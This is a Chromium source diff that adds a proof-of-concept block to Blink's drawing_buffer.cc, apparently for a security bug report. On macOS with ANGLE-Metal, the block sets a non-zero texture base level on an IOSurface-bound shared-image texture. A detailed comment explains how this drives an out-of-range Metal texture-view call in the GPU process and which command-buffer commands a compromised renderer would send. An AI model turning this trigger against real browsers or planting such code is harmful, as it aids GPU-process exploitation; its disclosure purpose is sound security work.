diff --git a/third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc b/third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc index 3f67b22c3308e..10aa65fa33d43 100644 --- a/third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc +++ b/third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc @@ -2105,6 +2105,52 @@ scoped_refptr DrawingBuffer::CreateColorBuffer( color_buffer->BeginAccess(gpu::SyncToken(), /*readonly=*/false); gl_->BindTexture(si_texture_target, color_buffer->texture_id()); + // --------------------------------------------------------------------------- + // POC INJECTION (compromised-renderer simulation, macOS / ANGLE-Metal): + // + // At this point in the GPU process, the color buffer's GL texture was created + // by CreateAndTexStorage2DSharedImageCHROMIUM and BeginAccess() above issued + // BeginSharedImageAccessDirectCHROMIUM, which on macOS (IOSurfaceImageBacking) + // calls eglBindTexImage() on a 1-mip IOSurface pbuffer. Inside ANGLE-Metal + // this lands in TextureMtl::bindTexImage(), setting mBoundSurface and a + // 1-mip mNativeTextureStorage with baseGLLevel=0. + // + // The texture is *not* immutable (ProduceGLTexturePassthrough only does + // glGenTextures + filter params), so getEffectiveBaseLevel() is unclamped. + // + // Sending TexParameteri(GL_TEXTURE_BASE_LEVEL, N>0) now drives ANGLE-Metal + // through: + // TextureMtl::setBaseLevel + // -> onBaseMaxLevelsChanged (isImmutableOrPBuffer()==true via mBoundSurface) + // -> createViewFromBaseToMaxLevel() + // -> createMipsView(N, 1) + // -> [MTLTexture newTextureViewWithPixelFormat:... + // levels:NSMakeRange(N,1) + // slices:NSMakeRange(0,1)] + // on a parent with mipmapLevelCount==1 — out-of-range NSRange => Metal UB + // in the GPU process. + // + // si_texture_target is GL_TEXTURE_2D on ANGLE-Metal + // (gpu::GetTextureTargetForIOSurfaces()), so ANGLE ES3 validation accepts a + // non-zero base level. + // + // A real compromised renderer would emit these same four GLES2 commands + // (cmd 546, BeginSharedImageAccessDirectCHROMIUM, BindTexture, TexParameteri) + // by writing them directly into the command buffer. + // --------------------------------------------------------------------------- + if (webgl_version_ == Platform::kWebGL2ContextType) { + LOG(ERROR) << "[POC] Sending TexParameteri(GL_TEXTURE_BASE_LEVEL, 5) on " + << "IOSurface-pbuffer-bound SharedImage texture, target=0x" + << std::hex << si_texture_target << " id=" + << std::dec << color_buffer->texture_id(); + gl_->TexParameteri(si_texture_target, GL_TEXTURE_BASE_LEVEL, 5); + gl_->Flush(); + // Reset to 0 so the back buffer remains usable for the rest of WebGL init; + // the bad Metal call has already been issued synchronously inside the GPU + // process during the TexParameteri above. + gl_->TexParameteri(si_texture_target, GL_TEXTURE_BASE_LEVEL, 0); + } + // Clear the alpha channel if RGB emulation is required. if (DefaultBufferRequiresAlphaChannelToBePreserved()) { GLuint fbo = 0;